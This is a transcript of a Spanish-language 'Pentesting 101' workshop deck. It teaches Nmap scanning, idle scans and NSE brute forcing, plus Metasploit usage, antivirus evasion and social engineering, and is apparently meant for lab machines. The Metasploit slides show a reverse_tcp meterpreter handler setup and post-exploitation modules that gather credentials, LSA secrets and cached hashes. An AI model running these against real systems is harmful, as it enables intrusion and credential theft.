Download - Pentesting 101 por Paulino Calderon

Transcript
Page 1: Pentesting 101 por Paulino Calderon
Page 2: Pentesting 101 por Paulino Calderon

● Soy fundador/Consultor de Websec México: http://websec.mx ● Fuí parte del programa Google Summer Of Code 2011:

https://code.google.com/p/google-summer-of-code-2011-nmap/ ● Soy desarrollador NSE del proyecto Nmap:

http://nmap.org● He contribuido con módulos oficiales del proyecto Metasploit:

http://www.rapid7.com/db/search?q=paulino+calderon

#cat /etc/about

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 3: Pentesting 101 por Paulino Calderon

● He desarrollado algunas apps de Android:○ Mac2wepkey HHG5XX (+5 millones de descargas)

https://play.google.com/store/apps/details?id=mx.websec.mac2wepkey.hhg5xx ○ IP2hosts (+5 mil descargas)

https://play.google.com/store/apps/details?id=websec.ip2hosts ○ Vecinitum de fibra (+10 mil descargas)

https://play.google.com/store/apps/details?id=mx.websec.mac2wepkey.al

#cat /etc/about

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 4: Pentesting 101 por Paulino Calderon

Y he escrito un par de libros:○ Nmap 6: Network Exploration and Security Auditing Cookbook (5

estrellas en Amazon)http://www.amazon.com/Nmap-exploration-security-auditing-ebook/dp/B00AC1HF8W/ ○ Mastering the Nmap Scripting Engine (Nov 2014)

http://www.amazon.com/Mastering-Scripting-Engine-Paulino-Calderon/dp/1782168311/

Entre otras cosas: http://calderonpale.com

#cat /etc/about

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 5: Pentesting 101 por Paulino Calderon

Paulino Calderón [email protected]

Twitter: @calderpwnWWW: http://calderonpale.com

#cat /etc/contact

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 6: Pentesting 101 por Paulino Calderon

Pentesting 101Introducción a las pruebas de penetración

Page 7: Pentesting 101 por Paulino Calderon

Pen testing 101● ¿Qué es un pentest?● ¿Qué se obtiene de un buen pentest?● ¿Cómo podemos llegar a ser buenos pentesters?

Paulino Calderon Pale <[email protected]>Pentesting 101

Page 8: Pentesting 101 por Paulino Calderon

Pentesting 101● Existen varias metodologías y guías:

○ Penetration testing execution standard.○ Open Source Security Testing Methodology Manual.○ Technical Guide to Information Security Testing and

Assessment.○ SANS’ Critical Security Controls.○ OWASP TOP 10.

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 9: Pentesting 101 por Paulino Calderon

Pentesting 101: Fases● Definición de alcance● Information gathering● Identificación de amenazas● Identificación de vulnerabilidades● Explotación de vulnerabilidades● Post explotación● Generación de reportes =/

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 10: Pentesting 101 por Paulino Calderon

● Recolección de información○ Descubrimiento de activos con Nmap

● Explotación de vulnerabilidades○ Explotación de vulnerabilidades con Metasploit○ Uso del framework de explotación Veil

● Otros ataques○ Ataques de ingeniería social con psploitgen

Agenda

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 11: Pentesting 101 por Paulino Calderon

Exploración de redes:● Conceptos TCP/IP. ● Fundamentos básicos de Nmap● Técnicas de descubrimiento de hosts ● Identificación de sistemas operativos ● Técnicas de escaneo de puertos● Identificación de servicios● Recolección de información● Ataques de fuerza bruta● Detección de vulnerabilidades

Explotación de vulnerabilidades:● Uso de metasploit para la explotación de vulnerabilidades● Identificación de servicios vulnerables● Exfiltración de información utilizando metasploit● Evasión de antivirus con Veil Evasion

Ataques de ingeniería social:● Ataques de phishing● Evasión de filtros con pssploitgen

¿Qué aprenderemos?

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 12: Pentesting 101 por Paulino Calderon

● Kali 32 bits (root:toor)

Máquinas vulnerables:● P1●

Información de máquinas virtuales

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 13: Pentesting 101 por Paulino Calderon

Information gatheringRecolección de información

Page 14: Pentesting 101 por Paulino Calderon

Descubrimiento de activos● Siempre usen Wireshark para analizar el tráfico como

ejercicio inicial.● ¿Sabemos que equipos estan conectados a la red?● ¿Cómo podemos hacer este proceso de la forma más

eficiente?

El arte de la exploración de redes informáticas Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 15: Pentesting 101 por Paulino Calderon

Wireshark● Rápidamente se pueden listar los hosts comunicándose

en la red.● Permite aplicar filtros para visualizar fácilmente la

información que necesitamos.● Se obtiene mucha información sobre la red solo con

mirar el tráfico por 15 minutos.

El arte de la exploración de redes informáticas Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 16: Pentesting 101 por Paulino Calderon

Plugins de Wireshark

El arte de la exploración de redes informáticas Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 17: Pentesting 101 por Paulino Calderon

Wireshark 101● Algunos filtros útiles son:

○ tcp.port==80○ ip.addr==192.168.1.1○ ip.src==192.168.1.1 o ip.dst==192.168.1.1○ http○ http.request○ tcp contains password○ !(arp or icmp or dns)○ eth.addr==de:ad:be:ef:ca:fe

El arte de la exploración de redes informáticas Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 18: Pentesting 101 por Paulino Calderon

Práctica● Analiza el tráfico de la red actualmente.

○ ¿Qué protocolos son los más usados?○ ¿Detectaron alguna posible vulnerabilidad?

El arte de la exploración de redes informáticas Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 19: Pentesting 101 por Paulino Calderon

Conceptos TCP/IPAntes de continuar unos conceptos:● Conexión TCP de 3 vías● Banderas TCP/IP● Notación CIDR

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 20: Pentesting 101 por Paulino Calderon

Conexiones TCPLas conexiones TCP requieren iniciar una conexión para transmitir o recibir datos.Debemos entender el protocolo de enlace de tres vías.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 21: Pentesting 101 por Paulino Calderon

Establecimiento de conexión TCP: Enlace de 3 vías● Host #1 envia un paquete SYN a Host #2.● Host #2 envia SYN/ACK a host #1● Host #1 envia ACK a host #2 y se establece la

conexión.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 22: Pentesting 101 por Paulino Calderon

Notación CIDR (IPv4)● Dirección IP más sufijo:

192.168.0.1/24

● Algunas equivalencias:○ /32 ==1 host == ○ /24 ==254 hosts==255.255.255.0○ /16==65,534 hosts==255.255.0.0

● En UNIX existe la herramienta ipcalc.El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 23: Pentesting 101 por Paulino Calderon

Notación CIDR (IPv4)

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 24: Pentesting 101 por Paulino Calderon

Nmap● Página oficial: http://nmap.org● Nmap es una herramienta de código abierto para

exploración de redes y auditorías de seguridad.(*)● Se diseñó para analizar rápidamente grandes redes,

aunque funciona muy bien contra equipos individuales. (*)

● Esencial para pentesters y administradores de sistemas.

(*) http://nmap.org/es/El arte de la exploración de redes Paulino Calderon

[email protected] 101 Paulino Calderon Pale <[email protected]>

Page 25: Pentesting 101 por Paulino Calderon

Descargando e instalando NmapPara descargarlo desde el repositorio oficial:$svn co https://svn.nmap.org/nmap

Para instalarlo:$./configure$make#make install

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 26: Pentesting 101 por Paulino Calderon

Dependencias● libssl-dev● autoconf● make● g++

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 27: Pentesting 101 por Paulino Calderon

Manteniendo tu copia al día● Para actualizar su copia de nmap:

$svn up$make -j4#make install

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 28: Pentesting 101 por Paulino Calderon

PrácticaEjecute Nmap e identifique que información regresa.

$nmap <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 29: Pentesting 101 por Paulino Calderon

PrácticaEjecute Nmap e identifique que información regresa. Nmap scan report for scanme.nmap.org

Host is up (0.011s latency).Not shown: 996 closed portsPORT STATE SERVICE53/tcp open domain80/tcp open http139/tcp open netbios-ssn445/tcp open microsoft-ds

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 30: Pentesting 101 por Paulino Calderon

Escaneo básico de NmapUn escaneo de Nmap sin argumentos regresa:

○ Estado del objetivo (en línea/desconectado)○ La dirección IP y nombre de host.○ Lista de servicios y puertos.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 31: Pentesting 101 por Paulino Calderon

PrácticaInicien un escaneo a su propia máquina. ● ¿Qué encontraron? ● ¿Algún servicio que no sabían que existía?

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 32: Pentesting 101 por Paulino Calderon

Guardando escaneos de NmapPara guardar escaneos en los formatos grepable, XML y normal utilicen el argumento “-oA”:

$nmap -oA escaneo1 <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 33: Pentesting 101 por Paulino Calderon

Resolución de nombres (DNS)● Servidores DNS resuelven nombres de dominio a

direcciones IP.

● ¿Qué servidores usan?○ Los de su ISP○ Google (8.8.8.8 y 8.8.4.4)○ Internos

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 34: Pentesting 101 por Paulino Calderon

Especificando servidores DNSPara especificar que servidores DNS debe usar Nmap:

$nmap --dns-servers 8.8.8.8,8.8.4.4 <objetivo>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 35: Pentesting 101 por Paulino Calderon

¿Por qué hacer descubrimiento de hosts?

● Para realizar un inventario de los equipos conectados a nuestra red.

● Para descubrir que equipos estan activos.● Para optimizar el proceso de descubrimiento de

servicios.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 36: Pentesting 101 por Paulino Calderon

Descubriendo equipos en la red● Nmap utiliza las siguientes técnicas:

● SYN/ACK● UDP● SCPT INIT● ICMP

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 37: Pentesting 101 por Paulino Calderon

Descubriendo equipos en la redDurante la fase de descubrimiento de hosts, por default Nmap envia:● Una petición ICMP Echo Request● Un paquete TCP SYN a puerto 443● Un paquete ARP al puerto 80● Una petición ICMP Timestamp

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 38: Pentesting 101 por Paulino Calderon

Descubriendo equipos en la red● Mandando ICMP Echo Requests a solo un

host:ping <objetivo>

● O con Nmap:$nmap -sP -PE <objetivo>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 39: Pentesting 101 por Paulino Calderon

Descubriendo equipos en la red● Si estan en la misma red Nmap utilizará

peticiones ARP.

● Si la red es externa usará escaneo ICMP/SYN.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 40: Pentesting 101 por Paulino Calderon

TCP SYN Ping● Nmap utilizará los paquetes de respuesta RST o

SYN/ACK para determinar si el objetivo está en línea.● Por default se manda al puerto 80.

nmap -PS80 <objetivo>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 41: Pentesting 101 por Paulino Calderon

TCP ACK Ping● Nmap utilizará los paquetes de respuesta RST para

determinar si el objetivo está en línea.● Por default se manda al puerto 80. ● Requiere privilegios para crear raw sockets. De lo

contrario usa el método TCP SYN.nmap -PA80 <objetivo>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 42: Pentesting 101 por Paulino Calderon

UDP Ping● Un host responde con el mensaje ICMP port unreachable cuando se envía

un paquete UDP a un puerto cerrado. ● El host puede responder con otro tipo de mensajes de error ICMP.● Nmap utiliza estos mensajes para identificar si un host esta en linea.● Es importante lanzar este “probe” contra un puerto cerrado.

#nmap -PU21,80,53 <objetivo>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 43: Pentesting 101 por Paulino Calderon

SCTP INIT Ping● Un host responde con ABORT o INIT ACK si esta en

línea.● Este tipo de escaneo requiere privilegios para crear

paquetes “raw”.● Este probe es enviado al puerto 80 por default.

# nmap -PY80 <objetivo>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 44: Pentesting 101 por Paulino Calderon

IP Protocol Ping● Lanza paquetes IP para tratar de ocasionar algún tipo

de respuesta.● Por default Nmap usa los siguientes protocolos:

○ ICMP (protocolo #1)○ IGMP (protocolo #2)○ IP-in-IP (protocolo #4)

#nmap -P0 <objetivo>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 45: Pentesting 101 por Paulino Calderon

Personalizando “probes” de descubrimientoSe puede personalizar los puertos que son utilizados para la fase de descubrimiento de hosts.

# nmap -sP -PS22,3389 192.168.0.1/24# nmap -sP -PU53 192.168.0.1/24

El arte de la exploración de redes Paulino Calderon

[email protected] 101 Paulino Calderon Pale <[email protected]>

Page 46: Pentesting 101 por Paulino Calderon

Descubriendo equipos en la red● Barrido DNS:

$nmap -R -sn <objetivo(s)>

$nmap --dns-servers server1,server2 -R -sn <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 47: Pentesting 101 por Paulino Calderon

Descubriendo equipos en la red| broadcast-upnp-info:| 192.168.0.5| Server: TP-LINK/TL-SC3230N/6.E.2.10117/169.254.88.241| Location: http://192.168.0.5:49152/edevicedesc.xml| 192.168.0.8| Server: Linux/3.0.8, UPnP/1.0, Portable SDK for UPnP devices/1.6.14| Location: http://192.168.0.8:49152/description.xml| 192.168.0.42| Server: Microsoft-Windows/6.2 UPnP/1.0 UPnP-Device-Host/1.0|_ Location: http://192.168.0.42:2869/upnphost/udhisapi.dll?content=uuid:383283d1-d95c-4211-9525-b27af762e967El arte de la exploración de redes Paulino Calderon

[email protected] 101 Paulino Calderon Pale <[email protected]>

Page 48: Pentesting 101 por Paulino Calderon

PrácticaDescubre que información existe en la red actual usando peticiones de tipo multicast.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 49: Pentesting 101 por Paulino Calderon

PrácticaDescubre que información existe en la red actual usando peticiones de tipo multicast.

$nmap --script broadcast -sn -Pn -n

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 50: Pentesting 101 por Paulino Calderon

Identificación de sistema operativoLa funcionalidad de detección de sistema operativo requiere de privilegios especiales, específicamente permisos para crear “raw sockets”.

#nmap -sV -O <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 51: Pentesting 101 por Paulino Calderon

Identificación de sistema operativoLimitar escaneo a objetivos con un puerto abierto y uno cerrado:#nmap -sV -O --osscan-limit <objetivo(s)>

¿Qué hacer si Nmap no detecta el sistema operativo?#nmap -sV -O --osscan-guess <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 52: Pentesting 101 por Paulino Calderon

PrácticaEvadir la detección de sistema operativo en un ambiente UNIX.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 53: Pentesting 101 por Paulino Calderon

PrácticaEvadir la detección de sistema operativo.

#echo 128 > /proc/sys/net/ipv4/ip_default_ttl

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 54: Pentesting 101 por Paulino Calderon

Desactivando escaneo de puertos● Para desactivar el escaneo de puertos se

usa el argumento “-sn”:

$nmap --script broadcast -sn

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 55: Pentesting 101 por Paulino Calderon

Desactivando descubrimiento de hosts● Para desactivar la fase de descubrimiento de hosts:

$nmap -Pn -p80 <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 56: Pentesting 101 por Paulino Calderon

Técnicas de escaneo● TCP SYN● TCP Connect● UDP ● TCP Null● FIN● XMAS

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 57: Pentesting 101 por Paulino Calderon

Posibles estados de un puerto● open (abierto)● closed (cerrado)● filtered (filtrado)● unfiltered (no filtrado)● open|filtered (abierto|filtrado)● close|filtered (cerrado|filtrado)

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 58: Pentesting 101 por Paulino Calderon

Especificando puertos● Para especificar un rango$nmap -p1-100 <objetivo(s)>● Pueden listar diferentes puertos separandolos con

comas:$nmap -p22,23,80 <objetivo(s)>● Pueden escanear absolutamente todos los puertos

disponibles$nmap -p- <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 59: Pentesting 101 por Paulino Calderon

Especificando puertos● También se pueden usar nombres de servicios

$nmap -p smtp <objetivo(s)>● Y nombres de servicio con wildcards:

$nmap -p smtp* <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 60: Pentesting 101 por Paulino Calderon

Detección de serviciosPara iniciar el modo de detección de servicios se usa el argumento “-sV”:$nmap -sV <objetivo>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 61: Pentesting 101 por Paulino Calderon

¿Qué hacer cuando no los detecta?Nmap determina que firmas usar basado en un nivel de “rareza”.

Si el servicio que queremos identificar corre en un puerto no estándar:$nmap -sV --version-all <objetivo(s)>$nmap -sV --version-intensity 9 <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 62: Pentesting 101 por Paulino Calderon

Identificación de servicios vulnerables¿Cómo usamos esta información para saber si un servicio es vulnerable?

Si la identificación de versión es exitosa simplemente tenemos que revisar que vulnerabilidades han sido publicadas antes.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 63: Pentesting 101 por Paulino Calderon

Timing templates● Existe un alias para usar diferentes configuraciones de

rendimiento y ajustes de tiempos de espera predeterminados: -T1-5.

● T3 es el valor default que Nmap usa.

$nmap -sV -O -T4 <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 64: Pentesting 101 por Paulino Calderon

Otros valores interesantes de optimizaciónmin-hostgroup/max-hostgroup: Número de hosts a escanear simultáneamente.min-parallelism/max-parallelism: Número de transmisiones simultáneas.max-retries: Número de retransmisiones.host-timeout: Tiempo de espera antes de ignorar un host.scan-delay: Tiempo de espera entre “probes”.min-rate/max-rate: Número de paquetes por segundo.El arte de la exploración de redes Paulino Calderon

[email protected] 101 Paulino Calderon Pale <[email protected]>

Page 65: Pentesting 101 por Paulino Calderon

TCP SYN Scan● Escaneo utilizando técnica de “media conexión”.● Método default de escaneo en Nmap.

#nmap -sS <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 66: Pentesting 101 por Paulino Calderon

TCP Connect Scan● Técnica de escaneo que establece una conexión

completa para determinar si ● Método default de escaneo en Nmap ejecutándose sin

privilegios.

$nmap -sT <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 67: Pentesting 101 por Paulino Calderon

TCP ACK Scan● Útil para detectar firewalls.● Esta técnica solo determina si los puertos estan

filtrados o no filtrados. Es decir, no determina si el puerto esta abierto o cerrado.

$nmap -sA <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 68: Pentesting 101 por Paulino Calderon

Idle scanEl idle scan es una técnica en la cual usamos la

predictibilidad del número de secuencia TCP IP de una máquina ”zombie” para escanear a nuestro objetivo escondiendo nuestro verdadero origen.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 69: Pentesting 101 por Paulino Calderon

Idle scanEsta técnica depende de la predictibilidad del número de

secuencia TCP IDUn candidato bueno para ser usado como zombie:Debe de estar ”idle”.En nuestro mismo netblock de preferencia.Impresoras, web cams y routers son muy buenos

candidatos.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 70: Pentesting 101 por Paulino Calderon

Idle scanPara encontrar zombies:

#nmap -F --script ipidseq -n <host/ip>

#nmap -O -v <host/ip>Usandolos:#nmap -Pn -sI ZOMBIE OBJETIVO

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 71: Pentesting 101 por Paulino Calderon

Idle scanChecamos el IP ID del zombieMandamos paquete SYN spoofeado como si viniera del zombie

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 72: Pentesting 101 por Paulino Calderon

Idle scan● El objetivo regresa un SYN/ACK ● El zombie regresa un RST e incrementa su IP ID● Nosotros checamos el IP ID, si incremento el puerto

esta abierto.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 73: Pentesting 101 por Paulino Calderon

Tarea para después● Encuentra un host con id de secuencia TCP IP

incremental.● Determinemos si nuestro ISP tiene protección contra

paquetes spoofeados

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 74: Pentesting 101 por Paulino Calderon

IP Protocol Scan

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 75: Pentesting 101 por Paulino Calderon

Ndiff

El arte de la exploración de redes Paulino Calderon [email protected]

Herramienta diseñada para comparar escaneos de Nmap.

Toma escaneos guardados en formato XML.

$ndiff scan1.xml scan2.xml

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 76: Pentesting 101 por Paulino Calderon

Práctica● Implementar un sistema de monitoreo utilizando Nmap

y Ndiff.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 77: Pentesting 101 por Paulino Calderon

Práctica● Implementar un sistema de monitoreo utilizando Nmap

y Ndiff.1. Realizar un escaneo que refleje el estado

“bueno” de la red.2. Utiliza Ndiff para comparar el estado actual con

el primer escaneo realizado.3. Automatiza la tarea!

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 78: Pentesting 101 por Paulino Calderon

Desarrollo NSE (Nmap Scripting Engine) Paulino Calderon [email protected]

● Motor de scripts que ha expandido la funcionalidad de Nmap en todos los aspectos.

● Actualmente existen más de 400 scripts (435 el día que escribí esto) en el repositorio oficial.

NSE == "Nmap Scripting Engine"

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 79: Pentesting 101 por Paulino Calderon

Más consejos de uso● Es difícil recordar el nombre de todos los argumentos.Mantengan abierta una consola en el folder de los scripts y usen:

cat <script> | grep @args

● No existe una función de autocompletar. ( Entren al folder de scripts y ejecuten sus escaneos desde ahí? ).

Desarrollo NSE (Nmap Scripting Engine) Paulino Calderon [email protected]

http://guadalajaracon.orgGuadalajaraCON

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 80: Pentesting 101 por Paulino Calderon

Ataques de fuerza brutaUna de las funciones más poderosas de NSE. Existen 51 protocolos soportados en este momento.

Los argumentos relevantes cuando trabajamos con estos scripts son:● userdb: Archivo que contiene los nombres de usuario.● passdb: Archivo que contiene las posibles contraseñas.● firstOnly: Detener el script cuando se encuentre la primera combinación

válida.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 81: Pentesting 101 por Paulino Calderon

PrácticaRealiza un ataque de fuerza bruta contra el servicio de MySQL de la máquina #3.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 82: Pentesting 101 por Paulino Calderon

PrácticaRealiza un ataque de fuerza bruta contra el servicio de MySQL de la máquina #3.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 83: Pentesting 101 por Paulino Calderon

Recolección de informaciónAdemás de la lista de servicios existe más información que nos puede ser de ayuda como:● Nombres virtuales de dominio.● Entradas DNS con nombres comunes.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 84: Pentesting 101 por Paulino Calderon

Recolección de informaciónAdemás de la lista de servicios existe más información que nos puede ser de ayuda como:● Nombres virtuales de dominio.● Entradas DNS con nombres comunes.

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 85: Pentesting 101 por Paulino Calderon

Descubriendo entradas DNSEl script dns-brute lanza un ataque de diccionario para encontrar entradas DNS.

$nmap --script dns-brute <objetivo(s)>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 86: Pentesting 101 por Paulino Calderon

Descubriendo sitios móvilesExiste el script http-mobileversion-checker que compara peticiones usando diferentes cabeceras User Agent para descubrir sitios móviles:

$nmap -p80,443 --script http-mobileversion-checker <objetivo>

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 87: Pentesting 101 por Paulino Calderon

Descubriendo vulnerabilidades de inyección de código en webappsNSE también tiene scripts para automatizar la detección de posibles vulnerabilidades de tipo:● Cross Site Scripting● SQL Injection● Local File Inclusion

El arte de la exploración de redes Paulino Calderon [email protected]

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 88: Pentesting 101 por Paulino Calderon

Explotación de vulnerabilidades

Metasploit 101

Page 89: Pentesting 101 por Paulino Calderon

Metasploit es un framework de explotación de vulnerabilidades que actualmente cuenta con:● +1,300 exploits● +700 módulos auxiliares● +300 payloads● +30 encodershttp://www.metasploit.com/

Metasploit 101

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 90: Pentesting 101 por Paulino Calderon

● Integración con PostreSQL.● Meterpreter

Metasploit 101: Otros aspectos interesantes

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 91: Pentesting 101 por Paulino Calderon

Para realizar búsquedas:search “oracle”Para establecer valores de variables:set <VARIABLE> <VALOR>Para establecer valores de variables:setg <VARIABLE> <VALOR>Para obtener información sobre un módulo:info <modulo>

Metasploit 101

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 92: Pentesting 101 por Paulino Calderon

Para seleccionar un módulo:use <modulo>Para ver las opciones del módulo:show options

Metasploit 101

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 93: Pentesting 101 por Paulino Calderon

Listado de sesiones activas:sessions -lIniciar modo interactivo con alguna sesiónsessions -i <# de sesión>Para regresar a la consola de msfbackground

Metasploit 101

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 94: Pentesting 101 por Paulino Calderon

Ejecución de múltiples comandosuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 0.0.0.0set LPORT 443set ExitOnSession falseset AutoRunScript multi_console_command -rc autorun-msf.rcexploit -j

Page 95: Pentesting 101 por Paulino Calderon

Ejecución de múltiples comandosrun post/windows/escalate/getsystemrun post/windows/gather/credentials/credential_collectorrun post/windows/gather/lsa_secretsrun post/windows/wlan/wlan_profilerun post/windows/gather/cachedumprun post/windows/gather/enum_dbrun post/windows/gather/screen_spy

Page 96: Pentesting 101 por Paulino Calderon

● Obtén la mayor cantidad de llaves de las máquinas vulnerables.

Prácticas: Metasploit 101

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 97: Pentesting 101 por Paulino Calderon

● ¿Cómo funcionan los AVs?● ¿Qué vamos a hacer si casi el 100% de las

organizaciones utilizan algún AV?● ¿AV is dead?

Evasión de antivirus

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 98: Pentesting 101 por Paulino Calderon

● Genera un binario de meterpreter que no sea detectado por el AV instalado en tu sistema.

Práctica: Evasión de antivirus

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 99: Pentesting 101 por Paulino Calderon

Existen otros ataques de redes que funcionan cerca del 100% del tiempo:● WPAD spoofing● LLMNR spoofing● ARP spoofing

Otros ataques a redes

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 100: Pentesting 101 por Paulino Calderon

Ataques de ingeniería social

Page 101: Pentesting 101 por Paulino Calderon

● ¿Qué es un ataque de ingeniería social?● ¿Qué tan efectivos son estos ataques?

Ataques de ingeniería social

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 102: Pentesting 101 por Paulino Calderon

